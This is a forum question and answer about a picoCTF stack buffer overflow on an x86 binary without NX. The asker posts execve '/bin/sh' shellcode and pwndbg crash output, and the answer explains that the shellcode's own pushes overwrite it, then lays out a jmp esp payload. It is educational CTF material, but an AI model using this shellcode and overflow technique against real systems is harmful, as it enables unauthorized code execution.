I was playing some picoCTF challenges today and I found myself stuck in a challenge. Digging around the internet, I found a solution online which I cannot fully grasp.
The challenge (whose name I won't spoil for those who are playing picoCTF) revolves around a vulnerable x86 ELF, and it involves using ROP gadgets to gain a shell, however the checksec reveals that the binary is not PIE, and there is no NX enabled.
By breaking at ret of the vulnerable function, I noticed that the EAX register contains the start address of the buffer on the stack. Moreover, I found out that the offset between the start of the buffer and the saved EIP is 28 bytes.
So my first guess was to craft a sufficiently short shellcode, place it inside the buffer preceeded by a NOP sled, and overwrite the saved EIP with a gadget jumping to the content of the EAX register, aka the start of my buffer.
However, I found out that this approach is not working. The shellcode I crafted is:
int 0x3 ; used for debugging purposes
xor eax, eax
push eax
push 0x0068732f
push 0x6e69622f
xor ebx, ebx
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80
I assembled it using pwntool's asm library, setting the architecture to i386.
The debugger reveals the following after few steps in:
pwndbg>
Program received signal SIGSEGV, Segmentation fault.
0xff854a01 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
EAX 0x0
EBX 0x0
ECX 0x80e5300 (_IO_2_1_stdin_) ◂— 0xfbad2088
EDX 0xff854a10 —▸ 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
EDI 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
ESI 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
EBP 0x90909090
ESP 0xff854a00 ◂— 0x0
EIP 0xff854a01 ◂— 0x2f000000
─────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────────
0xff8549f3 push eax
0xff8549f4 push 0x68732f
0xff8549f9 push 0x6e69622f
0xff8549fe xor ebx, ebx
0xff854a00 add byte ptr [eax], al
↓
► 0xff854a01 add byte ptr [eax], al
0xff854a03 add byte ptr [edi], ch
0xff854a05 bound ebp, qword ptr [ecx + 0x6e]
0xff854a08 das
0xff854a09 jae 0xff854a73 <0xff854a73>
↓
0xff854a73 add byte ptr [eax], al
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp eip-1 0xff854a00 ◂— 0x0
01:0004│ 0xff854a04 ◂— '/bin/sh'
02:0008│ 0xff854a08 ◂— 0x68732f /* '/sh' */
03:000c│ 0xff854a0c ◂— 0x0
04:0010│ edx 0xff854a10 —▸ 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x0
... ↓ 2 skipped
07:001c│ 0xff854a1c ◂— 0x3e8
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0xff854a01
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
Meaning that the execution is breaking at 0xff854a00.
Now the solution I found online involved crafting the overflow string in the following way:
- Write 6 NOPs.
- Place the assembled instruction for
jmp esp - Write 20 more NOPs.
- Place the
jmp eaxgadget to jump to the start of the buffer, overwriting the saved EIP. - Append the shellcode.
From what I've understood, the jmp ESP instruction allows to direct the execution right after the ret instruction, thus jumping inside the shellcode, but I would like to know more about this.
I even tried recalling the x86 Call/Return Protocol, but it seems that I cannot fully grasp how jumping to the stack would actually resolve the challenge.
I seek your help. Thanks!
Your code is on the stack under the stack pointer. Part of it is overwritten by your own
pushinstructions. Notice thatbound ebp, qword ptr [ecx + 0x6e]has machine code62 69 6Ewhich corresponds topush 0x6e69622f. Adjustingespdownwards by a suitable amount should fix the problem, e.g.sub esp, 32The other solution works around the problem by putting most of the shellcode above the stack pointer and only using a single
jmp espto transfer control. Here is an illustration of the memory layout:The initial
nops are probably not needed, it should work fine with thejmp espfollowed by 26nops (or whatever padding since it's not going to be executed) instead.